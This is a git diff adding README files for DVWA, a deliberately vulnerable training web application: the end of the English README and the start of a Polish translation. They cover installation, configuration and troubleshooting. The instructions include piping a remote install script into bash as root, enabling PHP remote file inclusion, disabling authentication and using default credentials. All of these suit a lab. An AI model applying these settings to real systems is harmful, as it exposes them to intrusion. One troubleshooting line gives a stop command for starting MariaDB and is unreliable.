+```sh +sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)" +``` + +##### Manually Running the Script + +1. **Download the script:** + + ```sh + wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh + ``` + +2. **Make the script executable:** + + ```sh + chmod +x Install-DVWA.sh + ``` + +3. **Run the script as root:** + + ```sh + sudo ./Install-DVWA.sh + ``` + +### Installation Videos + +- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +The easiest way to install DVWA is to download and install [XAMPP](https://www.apachefriends.org/) if you do not already have a web server setup. + +XAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin. + +This [video](https://youtu.be/Yzksa_WjnY0) walks you through the installation process for Windows but it should be similar for other OSs. + +### Docker + +Thanks to [hoang-himself](https://github.com/hoang-himself) and [JGillam](https://github.com/JGillam), every commit to the `master` branch causes a Docker image to be built and ready to be pulled down from GitHub Container Registry. + +For more information on what you are getting, you can browse [the prebuilt Docker images](https://github.com/digininja/DVWA/pkgs/container/dvwa). + +#### Getting Started + +Prerequisites: Docker and Docker Compose. + +- If you are using Docker Desktop, both of these should be already installed. +- If you prefer Docker Engine on Linux, make sure to follow their [installation guide](https://docs.docker.com/engine/install/#server). + +**We provide support for the latest Docker release as shown above.** +If you are using Linux and the Docker package that came with your package manager, it will probably work too, but support will only be best-effort. + +Upgrading Docker from the package manager version to upstream requires that you uninstall the old versions as seen in their manuals for [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) and others. +Your Docker data (containers, images, volumes, etc.) should not be affected, but in case you do run into a problem, make sure to [tell Docker](https://www.docker.com/support) and use search engines in the mean time. + +Then, to get started: + +1. Run `docker version` and `docker compose version` to see if you have Docker and Docker Compose properly installed. You should be able to see their versions in the output. + + For example: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + If you don't see anything or get a command not found error, follow the prerequisites to setup Docker and Docker Compose. + +2. Clone or download this repository and extract (see [Download](#download)). +3. Open a terminal of your choice and change its working directory into this folder (`DVWA`). +4. Run `docker compose up -d`. + +DVWA is now available at `http://localhost:4280`. + +**Notice that for running DVWA in containers, the web server is listening on port 4280 instead of the usual port of 80.** +For more information on this decision, see [I want to run DVWA on a different port](#i-want-to-run-dvwa-on-a-different-port). + +#### Local Build + +If you made local changes and want to build the project from local, go to `compose.yml` and change `pull_policy: always` to `pull_policy: build`. + +Running `docker compose up -d` should trigger Docker to build an image from local regardless of what is available in the registry. + +See also: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +#### Serve local files + +If your making local changes and don't want to build the project for every change : +1. Go to `compose.yml` and uncomment : + ``` + # volumes: + # - ./:/var/www/html + ``` +2. Run `cp config/config.inc.php.dist config/config.inc.php` to copy the default config file. +3. Run `docker compose up -d` and changes to local files will reflect on the container. + +### PHP Versions + +Ideally you should be using the latest stable version of PHP as that is the version that this app will be developed and tested on. + +Support will not be given for anyone trying to use PHP 5.x. + +Versions less than 7.3 have known issues that will cause problems, most of the app will work, but random things may not. Unless you have a very good reason for using such an old version, support will not be given. + +### Linux Packages + +If you are using a Debian based Linux distribution, you will need to install the following packages _(or their equivalent)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +I would recommend doing an update before this, just so you make sure you are going to get the latest version of everything. + +```sh +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +The site will work with MySQL instead of MariaDB but we strongly recommend MariaDB as it works out of the box whereas you have to make changes to get MySQL to work correctly. + +### Apache Modules + +If you want to use the API lab you must have the Apache module `mod_rewrite` enabled. To do this in Linux run: + +``` +a2enmod rewrite +``` + +And then restart Apache with: + +``` +apachectl restart +``` + +### Vendor Files + +If you want to use the API module you will need to install a set of vendor files using [Composer](https://getcomposer.org/). + +First, make sure you have Composer installed. There seem to be backward compatibility issues so I always get the latest version from here: + +https://getcomposer.org/doc/00-intro.md + +Follow the instructions the site gives to get it installed. + +Now go into the `vulnerabilities/api` directory and run: + +``` +composer.phar install +``` + +If you did not install Composer to the system path, make sure you reference its full location. + +## Configurations + +### Config File + +DVWA ships with a dummy copy of its config file which you will need to copy into place and then make the appropriate changes. On Linux, assuming you are in the DVWA directory, this can be done as follows: + +`cp config/config.inc.php.dist config/config.inc.php` + +On Windows, this can be a bit harder if you are hiding file extensions, if you are unsure about this, this blog post explains more about it: + +[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Config with environment variables + +Instead of modifying the configuration file, you can also set most settings using environment variables. In a Docker or Kubernetes deployment, this allows you to modify the configuration without creating a new Docker image. You'll find the variables in the [config/config.inc.php.dist](config/config.inc.php.dist) file. + +If you want to set the default security level to "low", simply add the following line to the [compose.yml](./compose.yml) file: + +```yml +environment: + - DB_SERVER=db + - DEFAULT_SECURITY_LEVEL=low +``` + +### Database Setup + +To set up the database, simply click on the `Setup DVWA` button in the main menu, then click on the `Create / Reset Database` button. This will create / reset the database for you with some data in. + +If you receive an error while trying to create your database, make sure your database credentials are correct within `./config/config.inc.php`. _This differs from config.inc.php.dist, which is an example file._ + +The variables are set to the following by default: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Note, if you are using MariaDB rather than MySQL (MariaDB is default in Kali), then you can't use the database root user, you must create a new database user. To do this, connect to the database as the root user then use the following commands: + +```mariadb +MariaDB [(none)]> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Disable Authentication + +Some tools don't work well with authentication so can't be used with DVWA. To get around this, there is a config option to disable authentication checking. To do this, simply set the following in the config file: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +You will also need to set the security level to one that is appropriate to the testing you want to do: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +In this state, you can access all the features without needing to log in and set any cookies. + +### Folder Permissions + +- `./hackable/uploads/` - Needs to be writeable by the web service (for File Upload). + +### PHP Configuration + +On Linux systems, likely found in `/etc/php/x.x/fpm/php.ini` or `/etc/php/x.x/apache2/php.ini`. + +- To allow Remote File Inclusions (RFI): + - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +- To make sure PHP shows all error messages: + - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +Make sure you restart the php service or Apache after making the changes. + +### reCAPTCHA + +This is only required for the "Insecure CAPTCHA" lab, if you aren't playing with that lab, you can ignore this section. + +Generated a pair of API keys from . + +These then go in the following sections of `./config/config.inc.php`: + +- `$_DVWA[ 'recaptcha_public_key' ]` +- `$_DVWA[ 'recaptcha_private_key' ]` + +### Default Credentials + +**Default username = `admin`** + +**Default password = `password`** + +_...can easily be brute forced ;)_ + +Login URL: + +_Note: This will be different if you installed DVWA into a different directory._ + +- - - + +## Troubleshooting + +These assume you are on a Debian based distro, such as Debian, Ubuntu and Kali. For other distros, follow along, but update the command where appropriate. + +If you'd rather watch a video than read words, the most common issues are covered in the video [Fixing DVWA Setup Issues](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F). + +### Containers + +#### I want to access the logs + +If you are using Docker Desktop, logs can be accessed from the graphical application. +Some minor details may change with newer versions, but the access method should be the same. + +![Overview of DVWA compose](./docs/graphics/docker/overview.png) +![Viewing DVWA logs](docs/graphics/docker/detail.png) + +Logs can also be accessed from the terminal. + +1. Open a terminal and change its working directory to DVWA +2. Show the merged logs + + ```sh + docker compose logs + ``` + + In case you want to export the logs to a file, e.g. `dvwa.log` + + ```sh + docker compose logs > dvwa.log + ``` + +#### I want to run DVWA on a different port + +We don't use port 80 by default for a few reasons: + +- Some users might already be running something on port 80. +- Some users might be using a rootless container engine (like Podman), and 80 is a privileged port (< 1024). Additional configuration (e.g. setting `net.ipv4.ip_unprivileged_port_start`) is required, but you will have to research on your own. + +You can expose DVWA on a different port by changing the port binding in the `compose.yml` file. +For example, you can change + +```yml +ports: + - 127.0.0.1:4280:80 +``` + +to + +```yml +ports: + - 127.0.0.1:8806:80 +``` + +DVWA is now accessible at `http://localhost:8806`. + +In cases in which you want DVWA to not only be accessible exclusively from your own device, but +on your local network too (e.g. because you are setting up a test machine for a workshop), you +can remove the `127.0.0.1:` from the port mapping (or replace it with you LAN IP). This way it +will listen on all available device. The safe default should always be to only listen on your +local loopback device. After all, it is a damn vulnerable web application, running on your machine. + +#### DVWA auto starts when Docker runs + +The included [`compose.yml`](./compose.yml) file automatically runs DVWA and its database when Docker starts. + +To disable this, you can delete or comment out the `restart: unless-stopped` lines in the [`compose.yml`](./compose.yml) file. + +If you want to disable this behavior temporarily, you can run `docker compose stop`, or use Docker Desktop, find `dvwa` and click Stop. +Additionally, you can delete the containers, or run `docker compose down`. + +### Log files + +On Linux systems Apache generates two log files by default, `access.log` and `error.log` and on Debian based system these are usually found in `/var/log/apache2/`. + +When submitting error reports, problems, anything like that, please include at least the last five lines from each of these files. On Debian based systems you can get these like this: + +```sh +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` + +### I browsed to the site and got a 404 or Apache2 default page + +[Video Help](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141) + +If you are having this problem you need to understand file locations. By default, the Apache document root (the place it starts looking for web content) is `/var/www/html`. If you put the file `hello.txt` in this directory, to access it you would browse to `http://localhost/hello.txt`. + +If you created a directory and put the file in there - `/var/www/html/mydir/hello.txt` - you would then need to browse to `http://localhost/mydir/hello.txt`. + +Linux is by default case sensitive and so in the example above, if you tried to browse to any of these, you would get a `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +How does this affect DVWA? Most people use git to clone DVWA into `/var/www/html`, this gives them the directory `/var/www/html/DVWA/` with all the DVWA files inside it. They then browse to `http://localhost/` and get either a `404` or the default Apache welcome page. As the files are in DVWA, you must browse to `http://localhost/DVWA`. + +The other common mistake is to browse to `http://localhost/dvwa` which will give a `404` because `dvwa` is not `DVWA` as far as Linux directory matching is concerned. + +So after setup, if you try to visit the site and get a `404`, think about where you installed the files to, where they are relative to the document root, and what the case of the directory you used is. + +### I browsed to the site and got a blank screen + +[Video Help](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243) + +This is usually one configuration issue hiding another issue. By default, PHP does not display errors, and so if you forgot to turn error display on during the setup process, any other problems, such as failure to connect to the database, will stop the app from loading but the message to tell you what is wrong will be hidden. + +To fix this, make sure you set `display_errors` and `display_startup_errors` as covered in [PHP Configuration](#php-configuration) and then restart Apache. + +### "Access denied" running setup + +If you see the following when running the setup script it means the username or password in the config file do not match those configured on the database. [Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973) + +```mariadb +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +The error is telling you that you are using the username `notdvwa`. + +The following error says you have pointed the config file at the wrong database. [Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630) + +```mariadb +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +It is saying that you are using the user `dvwa` and trying to connect to the database `notdvwa`. + +The first thing to do is to double check what you think you put in the config file is what is actually there. + +If it matches what you expect, the next thing to do is to check you can log in as the user on the command line. Assuming you have a database user of `dvwa` and a password of `p@ssw0rd`, run the following command: + +```sh +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +_Note: There is no space after the -p_ + +If you see the following, the password is correct: + +```mariadb +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +As you can connect on the command line, it is likely something wrong in the config file, double check that and then raise an issue if you still can't get things working. + +If you see the following, the username or password you are using is wrong. Repeat the [Database Setup](#database-setup) steps and make sure you use the same username and password throughout the process. + +```mariadb +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +If you get the following, the user credentials are correct but the user does not have access to the database. Again, repeat the setup steps and check the database name you are using. + +```mariadb +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +The final error you could get is this: + +```mariadb +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +This is not an authentication issue but tells you that the database server is not running. Start it with the following + +```sh +sudo service mysql start +``` + +### Connection Refused + +[Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444) + +An error similar to this one: + +```mariadb +Fatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535 +``` + +Means your database server is not running or you've got the wrong IP address in the config file. + +Check this line in the config file to see where the database server is expected to be: + +```php +$_DVWA[ 'db_server' ] = '127.0.0.1'; +``` + +Then go to this server and check that it is running. In Linux this can be done with: + +```sh +systemctl status mariadb.service +``` + +And you are looking for something like this, the important bit is that it says `active (running)`. + +```sh +● mariadb.service - MariaDB 10.5.19 database server + Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled) + Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago +``` + +If it is not running, you can start it with: + +```sh +sudo systemctl stop mariadb.service +``` + +Note the `sudo` and make sure you put your Linux user password in if requested. + +In Windows, check the status in the XAMPP console. + +### Unknown authentication method + +With the most recent versions of MySQL, PHP can no longer talk to the database in its default configuration. If you try to run the setup script and get the following message it means you have configuration. + +```mariadb +Database Error #2054: The server requested authentication method unknown to the client. +``` + +You have two options, the easiest is to uninstall MySQL and install MariaDB. The following is the official guide from the MariaDB project: + + + +Alternatively, follow these steps: + +1. As root, edit the following file: `/etc/mysql/mysql.conf.d/mysqld.cnf` +1. Under the line `[mysqld]`, add the following: + `default-authentication-plugin=mysql_native_password` +1. Restart the database: `sudo service mysql restart` +1. Check the authentication method for your database user: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +1. You'll likely see `caching_sha2_password`. If you do, run the following command: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. Re-running the check, you should now see `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +After all that, the setup process should now work as normal. + +If you want more information see the following page: . + +### Database Error #2002: No such file or directory + +The database server is not running. In a Debian based distro this can be done with: + +```sh +sudo service mysql start +``` + +### Errors "MySQL server has gone away" and "Packets out of order" + +There are a few reasons you could be getting these errors, but the most likely is the version of database server you are running is not compatible with the version of PHP. + +This is most commonly found when you are running the latest version of MySQL as PHP and it do not get on well. Best advice, ditch MySQL and install MariaDB as this is not something we can support. + +For more information, see: + + + +### Why can't the database connect on CentOS? + +You may be running into problems with SELinux. Either disable SELinux or run this command to allow the web server to talk to the database: + +```sh +setsebool -P httpd_can_network_connect_db 1 +``` + +### Anything Else + +For the latest troubleshooting information please read both open and closed tickets in the git repo: + + + +Before submitting a ticket, please make sure you are running the latest version of the code from the repo. This is not the latest release, this is the latest code from the master branch. + +If raising a ticket, please submit at least the following information: + +- Operating System +- The last 5 lines from the web server error log directly after whatever error you are reporting occurs +- If it is a database authentication problem, go through the steps above and screenshot each step. Submit these along with a screenshot of the section of the config file showing the database user and password. +- A full description of what is going wrong, what you expect to happen, and what you have tried to do to fix it. "login broken" is no enough for us to understand your problem and to help fix it. + +- - - + +## Tutorials + +I am going to try to put together some tutorial videos that walk through some of the vulnerabilities and show how to detect them and then how to exploit them. Here are the ones I've made so far: + +[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +_Support for this is limited, before raising issues, please ensure you are prepared to work on debugging, do not simply claim "it does not work"._ + +By default, SQLi and Blind SQLi are done against the MariaDB/MySQL server used by the site but it is possible to switch to do the SQLi testing against SQLite3 instead. + +I am not going to cover how to get SQLite3 working with PHP, but it should be a simple case of installing the `php-sqlite3` package and making sure it is enabled. + +To make the switch, simply edit the config file and add or edit these lines: + +```php +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +By default it uses the file `database/sqli.db`, if you mess it up, simply copy `database/sqli.db.dist` over the top. + +The challenges are exactly the same as for MariaDB, they just run against SQLite3 instead. + +- - - + +👨‍💻 Contributors +----- + +Thanks for all your contributions and keeping this project updated. :heart: + +If you have an idea, some kind of improvement or just simply want to collaborate, you are welcome to contribute and participate in the Project, feel free to send your PR. + +

+ + + +

+ +- - - + +## Reporting Vulnerabilities + +To put it simply, please don't! + +Once a year or so, someone will submit a report for a vulnerability they've found in the app, some are well written, sometimes better than I've seen in paid pen test reports, some are just "you are missing headers, pay me". + +In 2023, this elevated to a whole new level when someone decided to request a CVE for one of the vulnerabities, they were given [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Much hilarity ensued and time was wasted getting this corrected. + +The app has vulnerabilities, it is deliberate. Most are the well documented ones that you work through as lessons, others are "hidden" ones, ones to find on your own. If you really want to show off your skills at finding the hidden extras, write a blog post or create a video as there are probably people out there who would be interested in learning about them and about how your found them. If you send us the link, we may even include it in the references. + +## Links + +Project Home: + +_Created by the DVWA team_ diff --git a/DVWA/README.pl.md b/DVWA/README.pl.md new file mode 100644 index 00000000..a572a6d7 --- /dev/null +++ b/DVWA/README.pl.md @@ -0,0 +1,612 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA) to aplikacja internetowa, napisana w PHP/MySQL, bardzo podatna na ataki. Jej głównym celem jest wspieranie specjalistów w testowaniu swoich umiejętności i narzędzi w legalnym środowisku, pomoc programistom w lepszym zrozumieniu procesów zabezpieczania aplikacji internetowych oraz wsparcie zarówno uczniów, jak i nauczycieli w nauce bezpieczeństwa aplikacji internetowych w kontrolowanych warunkach. + +Celem DVWA jest **zapoznanie się z najczęściej występującymi podatnościami w aplikacjach internetowych** na **różnych poziomach trudności**, za pomocą prostego i intuicyjnego interfejsu. Należy pamiętać, że oprogramowanie to zawiera **zarówno udokumentowane, jak i nieudokumentowane luki**. Jest to zamierzone. Zachęca się użytkowników do odkrywania jak największej liczby podatności. +- - - + +## OSTRZEŻENIE! + +Damn Vulnerable Web Application jest bardzo podatny na ataki! **Nie przesyłaj go do folderu public_html na swoim hostingu ani na żadne serwery z dostępem do Internetu**, ponieważ zostanie to wykorzystane. Zalecamy korzystanie z maszyny wirtualnej (takiej jak [VirtualBox](https://www.virtualbox.org/) lub [VMware](https://www.vmware.com/)), z trybem sieci ustawionym na NAT. W maszynie wirtualnej możesz pobrać i zainstalować [XAMPP](https://www.apachefriends.org/), który może Ci posłużyć za serwer WWW i bazę danych. + +### Zastrzeżenie + +Nie ponosimy odpowiedzialności za sposób, w jaki ktoś używa tej aplikacji (DVWA). Wyjaśniliśmy cele aplikacji i nie powinna być używana w sposób złośliwy. Ostrzegliśmy użytkowników i podjęliśmy odpowiednie kroki, by zapobiec instalacji DVWA na publicznie dostępnych serwerach. Jeśli coś się stanie z Twoim serwerem w wyniku instalacji DVWA, nie ponosimy za to odpowiedzialności – odpowiedzialność spoczywa na osobie lub osobach, które tę aplikację zainstalowały. + +- - - + +## Licencja + +Ten plik jest częścią Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) jest oprogramowaniem wolnym: możesz je rozpowszechniać i/lub modyfikować zgodnie z warunkami GNU General Public License, opublikowanymi przez Free Software Foundation, w wersji 3 tej licencji lub (zgodnie z Twoimi preferencjami) dowolnej późniejszej wersji. + +Damn Vulnerable Web Application (DVWA) jest rozpowszechniana z nadzieją, że będzie przydatna, ale BEZ JAKIEJKOLWIEK GWARANCJI; nawet bez domniemanej gwarancji PRZYDATNOŚCI HANDLOWEJ lub PRZYDATNOŚCI DO OKREŚLONEGO CELU. Więcej szczegółów znajdziesz w GNU General Public License. + +Powinieneś otrzymać kopię GNU General Public License wraz z Damn Vulnerable Web Application (DVWA). Jeśli nie, zobacz . + +- - - + +## Internacionalizacja + +Ten plik jest dostępny w kilku wersjach językowych: +- arabski: [العربية](README.ar.md) +- chiński: [简体中文](README.zh.md) +- francuski: [Français](README.fr.md) +- koreański: [한국어](README.ko.md) +- perski: [فارسی](README.fa.md) +- polski: [Polski](README.pl.md) +- portugalski: [Português](README.pt.md) +- hiszpański: [Español](README.es.md) +- turecki: [Türkçe](README.tr.md) +- indonezyjski: [Indonesia](README.id.md) +- wietnamski: [Vietnamese](README.vi.md) + +Jeśli chcesz pomóc przy tłumaczeniu, prosimy o zrobienie PR-a (Pull Request). Pamiętaj jednak, że PR-y przetłumaczone automatycznie (np. z Google Translate) zostaną odrzucone. Prześlij swoje tłumaczenie, tworząc nowy plik o nazwie `README.xx.md`, gdzie `xx` to dwuliterowy kod języka (zgodnie z [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Pobieranie + +Choć istnieją różne wersje DVWA, jedyną wspieraną jest najnowsza wersja z oficjalnego repozytorium GitHub. Możesz ją sklonować z: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +Lub [pobierz archiwum ZIP z plikami](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Instalacja + +### Filmy instruktażowe instalacji + +- [Instalacja DVWA na Kali w VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Instalacja DVWA na Windows przy użyciu XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Instalacja Damn Vulnerable Web Application (DVWA) na Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +Najłatwiejszym sposobem instalacji DVWA jest pobranie i zainstalowanie [XAMPP](https://www.apachefriends.org/), jeśli nie masz jeszcze skonfigurowanego serwera WWW. + +XAMPP to łatwy do zainstalowania pakiet Apache, dostępny na systemach Linux, Solaris, Windows i Mac OS X. Zawiera serwer Apache, MySQL, PHP, Perl, serwer FTP i phpMyAdmin. + +Ten [film](https://youtu.be/Yzksa_WjnY0) przeprowadzi Cię przez proces instalacji dla systemu Windows, ale na innych systemach powinno to wyglądać podobnie. + +### Docker + +Dzięki [hoang-himself](https://github.com/hoang-himself) i [JGillam](https://github.com/JGillam), każdy commit na branchu `master` powoduje zbudowanie obrazu Docker, który można pobrać z GitHub Container Registry. + +Więcej informacji na temat dostępnych obrazów można znaleźć [tutaj](https://github.com/digininja/DVWA/pkgs/container/dvwa). + +#### Pierwsze kroki + +Wymagania: Docker i Docker Compose. + +- Jeśli korzystasz z Docker Desktop, oba narzędzia powinny być już zainstalowane. +- Jeśli preferujesz Docker Engine na Linuxie, pamiętaj, aby postępować zgodnie z [instrukcją instalacji](https://docs.docker.com/engine/install/#server). + +**Zapewniamy wsparcie najnowszej wersji Docker.** +Jeśli używasz Linuxa, a pakiet Docker pochodzi z menedżera pakietów, prawdopodobnie też zadziała, jednak wsparcie będzie ograniczone. + +Aktualizacja Docker z wersji menedżera pakietów do wersji głównej wymaga usunięcia starych wersji zgodnie z instrukcją dla [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedory](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) i innych. +Dane Docker (kontenery, obrazy, woluminy itd.) nie powinny być naruszone, jednak w przypadku problemów możesz je zgłosić [Dockerowi](https://www.docker.com/support) i w międzyczasie coś spróbować poszukać. + +Aby rozpocząć: + +1. Uruchom `docker version` i `docker compose version`, aby sprawdzić, czy Docker i Docker Compose są poprawnie zainstalowane. Powinny pojawić się ich wersje. + + Przykład: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + Jeśli nie pojawi się nic lub wyświetli się błąd „command not found”, postępuj zgodnie z wymaganiami wstępnymi, aby skonfigurować Docker i Docker Compose. + +2. Sklonuj lub pobierz to repozytorium i rozpakuj ([Pobieranie](#download)). +3. Otwórz terminal i przejdź do katalogu `DVWA`. +4. Uruchom `docker compose up -d`. + +DVWA jest teraz dostępny pod adresem `http://localhost:4280`. + +**Uwaga, serwer WWW działa na porcie 4280 zamiast standardowego portu 80.** +Więcej na temat tej decyzji znajdziesz w sekcji [Chcę uruchomić DVWA na innym porcie](#i-want-to-run-dvwa-on-a-different-port). + +### Kompilacja lokalna + +Jeśli wprowadziłeś lokalne zmiany i chcesz zbuildować projekt lokalnie, przejdź do `compose.yml` i zmień `pull_policy: always` na `pull_policy: build`. + +Uruchomienie `docker compose up -d` powinno spowodować zbudowanie obrazu lokalnie, niezależnie od tego, co jest dostępne w rejestrze. + +Zobacz także: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +### Wersje PHP + +Zalecamy używanie najnowszej, stabilnej wersji PHP, ponieważ to na tej wersji aplikacja będzie rozwijana i testowana. + +Nie zapewniamy wsparcia dla osób używających PHP 5.x. + +Wersje poniżej 7.3 mają znane błędy, które mogą powodować problemy, większość aplikacji będzie działać, ale niektóre funkcje mogą nie funkcjonować prawidłowo. Jeśli nie masz naprawdę ważnego usprawiedliwienia używania starszej wersji, wsparcie nie będzie udzielone. + +### Pakiety dla Linuxa + +Jeśli korzystasz z dystrybucji opartej na Debianie, musisz zainstalować następujące pakiety _(lub ich odpowiedniki)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +Zalecamy wykonanie aktualizacji przed instalacją, aby upewnić się, że posiadasz najnowsze wersje. + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +Strona będzie działać z MySQL zamiast MariaDB, ale zdecydowanie zalecamy MariaDB, ponieważ działa bez dodatkowej konfiguracji, podczas gdy w przypadku MySQL konieczne są zmiany, aby działało poprawnie. + +## Konfiguracje + +### Plik konfiguracyjny + +DVWA zawiera tylko wzór pliku konfiguracyjnego, który należy odpowiednio zmodyfikować. W systemie Linux, zakładając, że znajdujesz się w katalogu DVWA, można to zrobić w następujący sposób: + +`cp config/config.inc.php.dist config/config.inc.php` + +Na Windows może to być nieco trudniejsze, jeśli masz ukryte rozszerzenia plików; jeśli masz co do tego wątpliwości, tu jest wyjaśnione więcej: +[Jak wyświetlić rozszerzenia plików w Windows](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Konfiguracja Bazy Danych + +Aby skonfigurować bazę danych, kliknij przycisk `Setup DVWA` w głównym menu, a następnie przycisk `Create / Reset Database`. Spowoduje to utworzenie lub zresetowanie bazy danych. + +Jeśli pojawi się błąd podczas tworzenia bazy danych, upewnij się, że w pliku `./config/config.inc.php` dane logowania do bazy są poprawne. *Jest to inny plik niż config.inc.php.dist, który jest przykładowym plikiem.* + +Domyślne wartości zmiennych są następujące: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Uwaga: jeśli korzystasz z MariaDB zamiast MySQL (MariaDB jest domyślną bazą danych w Kali), nie możesz użyć użytkownika root bazy danych, musisz utworzyć nowego użytkownika bazy danych. Aby to zrobić, połącz się z bazą danych jako użytkownik root, a następnie użyj następujących poleceń: + +```mariadb +MariaDB [(none)]> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected 